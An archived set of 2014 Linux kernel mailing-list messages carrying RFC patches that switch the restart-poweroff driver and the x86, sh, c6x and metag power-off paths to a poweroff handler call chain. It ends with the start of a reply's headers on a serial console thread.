DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=wg2XW74gD/Zbn5fEfiZUMJ6VabrKK3ppqtzol0flCAQ=;
        b=vH0+RmoDA7HlG2CqFCPAXzFnaE3CT4mY72JrZpjpTj9rRSKAaOkP11DutEJA1/RtK3
         fKE+UZOsw9NWxTdFIAzUI21bNCBxrERZte20hURLgZZa4ZAlxqVFm11sfq31l+vIB2Mw
         5+rBOJ5bbjZ+krP3r0HHSlklB1Lcpl+Ntf41Wr5WK6EzHmPx2/tj5ggpaMv8D8mCpvkl
         awNlLK9LCGgV+7cGgRZ+9jcwbtdKp6cb/MbClQm1p5v2VWhP4E5OxwZK8eTmr2wH3clP
         vy10kT6VhPlpJCavgPfxLLc+AwaXnjGpX+nl2i/1t3ii3AxRmRBDUxLeP+0Dj9s2pWaF
         kWhA==
X-Received: by 10.70.51.136 with SMTP id k8mr28637449pdo.132.1412100105817;
        Tue, 30 Sep 2014 11:01:45 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id rz8sm15716763pbc.63.2014.09.30.11.01.45
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:45 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:279 gmane.linux.kernel:1798526 gmane.linux.power-management.general:50369 gmane.linux.ports.arm.kernel:361250 gmane.linux.ports.ia64:24438 gmane.linux.ports.mips.general:44067 gmane.linux.ports.parisc:6049 gmane.linux.ports.sh.devel:39643
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/279>

Register with kernel poweroff handler instead of seting pm_power_off
directly.  Register as poweroff handler of last resort since the driver
does not really power off the system but executes a restart.

Cc: Sebastian Reichel <sre-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Cc: David Woodhouse <dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/power/reset/restart-poweroff.c | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/drivers/power/reset/restart-poweroff.c b/drivers/power/reset/restart-poweroff.c
index edd707e..82d058f 100644
--- a/drivers/power/reset/restart-poweroff.c
+++ b/drivers/power/reset/restart-poweroff.c
@@ -12,35 +12,33 @@
  */
 #include <linux/kernel.h>
 #include <linux/init.h>
+#include <linux/notifier.h>
 #include <linux/platform_device.h>
 #include <linux/of_platform.h>
 #include <linux/module.h>
 #include <linux/reboot.h>
-#include <asm/system_misc.h>
 
-static void restart_poweroff_do_poweroff(void)
+static int restart_poweroff_do_poweroff(struct notifier_block *this,
+					unsigned long unused1, void *unused2)
 {
 	reboot_mode = REBOOT_HARD;
 	machine_restart(NULL);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block restart_poweroff_handler = {
+	.notifier_call = restart_poweroff_do_poweroff,
+};
+
 static int restart_poweroff_probe(struct platform_device *pdev)
 {
-	/* If a pm_power_off function has already been added, leave it alone */
-	if (pm_power_off != NULL) {
-		dev_err(&pdev->dev,
-			"pm_power_off function already registered");
-		return -EBUSY;
-	}
-
-	pm_power_off = &restart_poweroff_do_poweroff;
-	return 0;
+	return register_restart_handler(&restart_poweroff_handler);
 }
 
 static int restart_poweroff_remove(struct platform_device *pdev)
 {
-	if (pm_power_off == &restart_poweroff_do_poweroff)
-		pm_power_off = NULL;
+	unregister_restart_handler(&restart_poweroff_handler);
 
 	return 0;
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 13/16] x86: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:53 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1412100056-15517-14-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100214 8910 80.91.229.3 (30 Sep 2014 18:03:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:03:34 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 30 20:03:27 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZ1lh-0008Jq-B7
	for glk-linux-kernel-3@plane.gmane.org; Tue, 30 Sep 2014 20:03:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753945AbaI3SDI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 30 Sep 2014 14:03:08 -0400
Original-Received: from mail-pd0-f175.google.com ([209.85.192.175]:43311 "EHLO
	mail-pd0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753758AbaI3SBl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 30 Sep 2014 14:01:41 -0400
Original-Received: by mail-pd0-f175.google.com with SMTP id v10so1149515pde.6
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=uk9PhDnqYd2VHty/au3bMVyIYyr5J/u7KX/H4dlb9Mo=;
        b=Y+UsaQkwNo+3j8tFz8Bu5jtJYoL8yb16x9RgRoRUL7jMsw5oQW1J6Y/IwquP1Xw0VR
         XfJfKBtTObXXnlvw+gipuOpoBsGMcank0x00X4eEZn+S8zW5HcKmZKUD/iq+E+fpDHi9
         8Of1YXw+lVDSLJuzscQ62n1cZfx/SvnsR0ylY6ZFrFNw/OwhONveb7UYw1MU0PF83dA+
         ocoJGsiW/TLV7c7WU6rRgdzumHRj4aSE8ZuixgRa7qq09IcZll+Swdt0Al5nEaV6DK1/
         70ghVjSTuAp7MxIoozpXKLQb8jxjAxuZCU4eUSqkkVt4USe88R55frO987lwSM9feDTU
         a0Bg==
X-Received: by 10.68.223.103 with SMTP id qt7mr72959161pbc.9.1412100100812;
        Tue, 30 Sep 2014 11:01:40 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id f2sm15799501pdd.25.2014.09.30.11.01.40
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:40 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1798527 gmane.linux.power-management.general:50370 gmane.linux.ports.arm.kernel:361251 gmane.linux.ports.ia64:24439 gmane.linux.kernel.metag:280 gmane.linux.ports.mips.general:44068 gmane.linux.ports.parisc:6050 gmane.linux.ports.sh.devel:39644
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1798527>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/x86/kernel/reboot.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
index 17962e6..c5514aa 100644
--- a/arch/x86/kernel/reboot.c
+++ b/arch/x86/kernel/reboot.c
@@ -651,6 +651,10 @@ static void native_machine_power_off(void)
 		if (!reboot_force)
 			machine_shutdown();
 		pm_power_off();
+	} else {
+		if (!reboot_force)
+			machine_shutdown();
+		do_kernel_poweroff();
 	}
 	/* A fallback in case there is no PM info available */
 	tboot_shutdown(TB_SHUTDOWN_HALT);
-- 
1.9.1


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: [RFC PATCH 11/16] sh: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:51 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <1412100056-15517-12-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100236 9238 80.91.229.3 (30 Sep 2014 18:03:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:03:56 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-sh-owner@vger.kernel.org Tue Sep 30 20:03:45 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1XZ1m1-0008L7-VY
	for glps-linuxsh-dev@plane.gmane.org; Tue, 30 Sep 2014 20:03:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753984AbaI3SDk (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 30 Sep 2014 14:03:40 -0400
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]:44127 "EHLO
	mail-pa0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753486AbaI3SBg (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 30 Sep 2014 14:01:36 -0400
Original-Received: by mail-pa0-f41.google.com with SMTP id eu11so4664115pac.14
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=NAXCMmVwJSULMwiRV//srkVmaF6y7Bt28jllwBmlSX0=;
        b=UQWLtII3AKEXnouKAsGaowR5gbZBB8/A3XkbVEHmB0ACUBjj4BTUkZ/pSGotRbD788
         O5Nowv3Epq62WR95Gwai76Au+kIHRRcJSXH5i5fBESYeWrA7R41g4OTkqrqiyN3fsrTV
         lfpxZAKTwb45Dobr8P0mhJxmLbZZSfHQpkN1DIc8bNo+A6JjBIKryRTBvGEheGtcmFZ2
         HBqx0zD6xRCxfuZdDYs8DrGUWDZNjO+HnlM6xTR/UrWeNrjIkR29ChsDiHD/dMpYsAwq
         LQyt4RojVo3i3GCuZKorABcldRtJDjurrkcgjLsB1Yrb6cdnDahflvnmq0+LsxzJJ0jr
         QlXA==
X-Received: by 10.66.145.167 with SMTP id sv7mr70694399pab.5.1412100095581;
        Tue, 30 Sep 2014 11:01:35 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id od12sm4477834pdb.96.2014.09.30.11.01.34
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:35 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:39645 gmane.linux.kernel:1798528 gmane.linux.power-management.general:50371 gmane.linux.ports.arm.kernel:361252 gmane.linux.ports.ia64:24440 gmane.linux.kernel.metag:281 gmane.linux.ports.mips.general:44069 gmane.linux.ports.parisc:6051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/39645>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/sh/kernel/reboot.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
index 04afe5b..8e68926 100644
--- a/arch/sh/kernel/reboot.c
+++ b/arch/sh/kernel/reboot.c
@@ -53,6 +53,8 @@ static void native_machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 }
 
 static void native_machine_halt(void)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 07/16] c6x: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:47 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <1412100056-15517-8-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100242 9395 80.91.229.3 (30 Sep 2014 18:04:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:04:02 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 30 20:03:53 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XZ1m6-0008Ta-9v
	for sgi-linux-mips@gmane.org; Tue, 30 Sep 2014 20:03:46 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:35503 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010191AbaI3SDmrTjSF (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 30 Sep 2014 20:03:42 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 30 Sep 2014 20:03:28 +0200 (CEST)
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]:48700 "EHLO
        mail-pa0-f41.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010192AbaI3SBbp0Cen (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 30 Sep 2014 20:01:31 +0200
Original-Received: by mail-pa0-f41.google.com with SMTP id eu11so4621982pac.0
        for <linux-mips@linux-mips.org>; Tue, 30 Sep 2014 11:01:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=B9/IS+ZKFFBcD9R5m5I1IT3+QCzRy1+NN7vHGygIi9w=;
        b=n4qqwYKuxk4+u9l9Ui1UVXzXAp5TZP3eVIsdhuLJaTL88bSxsTAa8YUbZ2wyg0vTKL
         mOMHOOEAlH1q9UcBXgv9HU5JAlpFRpDqlD2onxLYv1q324ZoWNmXe2oplAUL9XGYESuY
         dQ4pG9CW6H9PsrDOwLKUxqm00EFulIyTtzERgfwzgrNXpPTU9ZNe0vWAxsTFK7g5bEim
         qT8pLeaSXBe/7wBaD/TkwjPEpURxG3WlkR07sjTef8JYOvRsH4KygejqgvNnnqVOi+34
         XzRbqR7nFIVVj+EDjNUhHOCpWY4aoRLzADkCET42Qtr5se6L4Lytj9ixllhsljq57Agc
         Sf8g==
X-Received: by 10.70.118.38 with SMTP id kj6mr5588109pdb.167.1412100085704;
        Tue, 30 Sep 2014 11:01:25 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id ad6sm15688353pac.30.2014.09.30.11.01.24
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:25 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
X-archive-position: 42913
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44070 gmane.linux.kernel:1798529 gmane.linux.power-management.general:50372 gmane.linux.ports.arm.kernel:361253 gmane.linux.ports.ia64:24441 gmane.linux.kernel.metag:282 gmane.linux.ports.parisc:6052 gmane.linux.ports.sh.devel:39646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44070>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Mark Salter <msalter@redhat.com>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/c6x/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 57d2ea8..ddf088e 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -75,6 +75,8 @@ void machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 	halt_loop();
 }
 
-- 
1.9.1




From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 09/16] metag: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:49 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1412100056-15517-10-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100277 9912 80.91.229.3 (30 Sep 2014 18:04:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:04:37 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	James Hogan <james.hogan@imgtec.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-pm-owner@vger.kernel.org Tue Sep 30 20:04:29 2014
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1XZ1mk-0000O4-Vl
	for gll-linux-pm2@plane.gmane.org; Tue, 30 Sep 2014 20:04:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753718AbaI3SEE (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
	Tue, 30 Sep 2014 14:04:04 -0400
Original-Received: from mail-pa0-f43.google.com ([209.85.220.43]:42520 "EHLO
	mail-pa0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753622AbaI3SBb (ORCPT
	<rfc822;linux-pm@vger.kernel.org>); Tue, 30 Sep 2014 14:01:31 -0400
Original-Received: by mail-pa0-f43.google.com with SMTP id hz1so6958460pad.2
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=ChZnLayeWlzfu0earURMuL+E2RpUnLMpjWI/Gv4Oi/c=;
        b=vLOqm+bo/43K2m6Sc90847V+Q0Mu/dGfyC2bccvslqatGbMF1pWdHuIqko6vVbGq8o
         uETNyjPX9e5MpjpKeENBWJOFhR6cFfZAo5aViNaaDBi1lh3yyKLHDF7mkqk3A6gU2Y0p
         gw+1zLmjA1x1NigkzwBPHGPqkyxHPG6qHNuAWBx+ZWSFMS20/EAw9bkW4MEbw0J8stLq
         ALeFzIvOY+MFrL/Qlbtv4NyOOJg2zZ+jjsJU/gPtbv8hNW5SLa+QSOL5AczI6V4SuMZ3
         FOE6GsThSJUZi9/OufYP83YRpO6gyOCnlRcepTvxnbzs6DDECqIbqZ6IuTLWTuEFwNzc
         zdjg==
X-Received: by 10.66.220.230 with SMTP id pz6mr70413698pac.145.1412100090693;
        Tue, 30 Sep 2014 11:01:30 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id js7sm15716457pbc.62.2014.09.30.11.01.29
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:30 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:50373 gmane.linux.kernel:1798530 gmane.linux.ports.arm.kernel:361254 gmane.linux.ports.ia64:24442 gmane.linux.kernel.metag:283 gmane.linux.ports.mips.general:44071 gmane.linux.ports.parisc:6053 gmane.linux.ports.sh.devel:39647
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/50373>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: James Hogan <james.hogan@imgtec.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/metag/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 483dff9..ff7f3eb 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -92,6 +92,8 @@ void machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 	smp_send_stop();
 	hard_processor_halt(HALT_OK);
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: serial console broken in v3.17-rc6 ?
Date: Tue, 30 Sep 2014 15:59:20 -0400
Lines: 376
Approved: news@gmane.org
Message-ID: <542B0B98.1040407@hurleysoftware.com>
References: <5421D3E3.6080805@gmx.de> <5421E166.7060206@hurleysoftware.com> <5423120E.8060204@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412107201 7142 80.91.229.3 (30 Sep 2014 20:00:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 20:00:01 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 30 21:59:51 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZ3aJ-0006yV-1X
	for glk-linux-kernel-3@plane.gmane.org; Tue, 30 Sep 2014 21:59:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752991AbaI3T7a (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 30 Sep 2014 15:59:30 -0400
Original-Received: from mailout32.mail01.mtsvc.net ([216.70.64.70]:39208 "EHLO
	n23.mail01.mtsvc.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751613AbaI3T7X (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 30 Sep 2014 15:59:23 -0400
Original-Received: from h96-61-95-138.cntcnh.dsl.dynamic.tds.net ([96.61.95.138]:33237 helo=[192.168.1.139])
